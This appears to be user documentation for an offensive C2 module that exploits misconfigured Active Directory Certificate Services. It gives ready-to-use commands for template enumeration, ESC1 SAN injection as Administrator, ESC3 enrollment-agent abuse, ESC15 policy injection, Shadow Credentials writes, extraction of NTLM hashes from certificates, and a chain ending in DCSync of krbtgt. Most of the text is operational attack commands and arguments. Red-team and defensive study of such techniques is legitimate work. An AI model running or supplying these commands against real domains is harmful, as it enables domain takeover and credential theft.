ADCS-BOF — AD Certificates
The ADCS-BOF module enables exploitation of insecure Active Directory Certificate Services (AD CS) configurations. It includes CA and template enumeration, certificate requests, certificate-based authentication (PKINIT), and the Shadow Credentials attack.
All commands in this module use the certi prefix.
Compatible agents: Beacon, Gopher, Kharon
Platform: Windows
certi enum
Enumerates all Certificate Authorities (CAs) and certificate templates available in the domain.
When to use: Always as the first step before any ADCS attack. The output identifies templates with vulnerable configurations such as:
- ESC1: Template that allows specifying an arbitrary Subject Alternative Name (SAN) with enrollment rights for low-privilege users
- ESC3: Enrollment Agent template that allows requesting certificates on behalf of other users
- ESC4: Insecure ACLs on templates that allow modification
- ESC8: HTTP enrollment endpoint without EPA (Extended Protection for Authentication)
- ESC15: Templates without application policy that allow injecting client authentication
certi enumNo arguments required.
certi auth
Authenticates with a PFX certificate using the PKINIT protocol and extracts the user’s NTLM hash via the UnPAC-the-hash technique.
When to use: After obtaining a certificate (with certi request or certi shadow), use this command to convert it into a usable NTLM hash for pass-the-hash or to request TGTs with kerbeus asktgt.
certi auth --pfx /tmp/admin_cert.pfx
certi auth --pfx /tmp/admin_cert.pfx --password CertPass123
certi auth --cert MIIMcAIBAzCCDCwG.... --dc DC01.corp.local
certi auth --pfx /tmp/cert.pfx --no-unpac| Argument | Required | Description |
|---|---|---|
--cert | Yes* | Base64-encoded PFX certificate |
--pfx | Yes* | PFX certificate file |
--password | No | PFX password |
--dc | No | Domain Controller (auto-detected if not specified) |
--no-unpac | No | Only get TGT, don’t extract NTLM hash |
* Either --cert or --pfx must be specified, not both.
certi request
Requests a certificate from a CA. This is the main command for exploiting vulnerable templates.
When to use: When certi enum has revealed a vulnerable template. The most common scenarios:
ESC1 — SAN Injection
If the template allows specifying a Subject Alternative Name, you can request a certificate as another user (e.g., Administrator):
certi request --ca "cert.corp.local\CORP-CA" --template VulnTemplate --altname "CN=Administrator,CN=Users,DC=corp,DC=local"ESC1 with SID Extension
For templates using the SID extension instead of UPN:
certi request --ca "cert.corp.local\CORP-CA" --template VulnTemplate --alturl "tag:microsoft.com,2022-09-14:sid:S-1-5-21-xxx-500"ESC15 — Policy Injection
certi request --ca "cert.corp.local\CORP-CA" --template VulnTemplate --policyStandard Request
certi request --ca "cert.corp.local\CORP-CA"
certi request --ca "cert.corp.local\CORP-CA" --template User --install
certi request --ca "cert.corp.local\CORP-CA" --machine| Argument | Required | Description |
|---|---|---|
--ca | Yes | Certificate Authority (format: host\CA-Name) |
--template | No | Certificate template name |
--subject | No | Subject Distinguished Name |
--altname | No | Alternate subject DN (for ESC1) |
--alturl | No | SAN URL (for SID extension in ESC1) |
--pfx-password | No | Output PFX password |
--install | No | Install the certificate in the current context |
--machine | No | Request a machine certificate instead of user |
--policy | No | Add application policy (for ESC15) |
--dns | No | SAN as DNS name instead of UPN |
--pem | No | Output in PEM format instead of PFX |
certi request_on_behalf
Requests a certificate on behalf of another user using an Enrollment Agent certificate (ESC3 exploitation).
When to use: When you have an Enrollment Agent certificate (obtained from an ESC3 Step 1 template) and a second template allows requests on behalf of others.
ESC3 attack chain:
- Request Enrollment Agent certificate:
certi request --ca CA --template EnrollmentAgentTemplate - Use that certificate to request as another user:
certi request_on_behalf ... - Authenticate with the obtained certificate:
certi auth --pfx result.pfx
certi request_on_behalf --ca "cert.corp.local\CORP-CA" --template VulnTemplate --target "CORP\Administrator" --ea-pfx /tmp/ea_cert.pfx
certi request_on_behalf --ca "cert.corp.local\CORP-CA" --template VulnTemplate --target "CORP\Administrator" --ea-pfx /tmp/ea_cert.pfx --ea-password EAPass| Argument | Required | Description |
|---|---|---|
--ca | Yes | Certificate Authority |
--template | Yes | Template name |
--target | Yes | Target user (DOMAIN\user) |
--ea-pfx | Yes | Enrollment Agent PFX certificate file |
--ea-password | No | EA PFX password |
--pfx-password | No | Output PFX password |
--pem | No | Output in PEM format |
certi shadow
Executes the Shadow Credentials attack by writing the msDS-KeyCredentialLink attribute on an AD object and generating a certificate for PKINIT authentication.
When to use: When you have write permissions on an AD object (GenericAll, GenericWrite, or WriteProperty on msDS-KeyCredentialLink). It’s a form of persistence or privilege escalation that doesn’t require vulnerable ADCS templates.
Attack chain:
certi shadow --target victimUser→ Obtain PFX certificatecerti auth --pfx certificate.pfx→ Convert to NTLM hashkerbeus asktgt /user:victimUser /rc4:HASH /ptt→ Get TGT
certi shadow --target Administrator
certi shadow --target svc_sql --domain corp.local
certi shadow --target Administrator --no-write
certi shadow --target old_user --clear| Argument | Required | Description |
|---|---|---|
--target | Yes | Target object sAMAccountName |
--domain | No | Domain name (auto-detected) |
--no-write | No | Only generate certificate, don’t write to AD |
--clear | No | Clear existing msDS-KeyCredentialLink (without writing a new one) |
Important: Use
--clearafter finishing to clean up attack artifacts.
Typical ADCS Exploitation Chain
1. certi enum → Identify vulnerable templates
2. certi request --ca CA --template Vuln --altname Admin → Request cert as Admin (ESC1)
3. certi auth --pfx admin_cert.pfx → Obtain Admin's NTLM hash
4. dcsync single CORP\krbtgt → DCSync with obtained credentials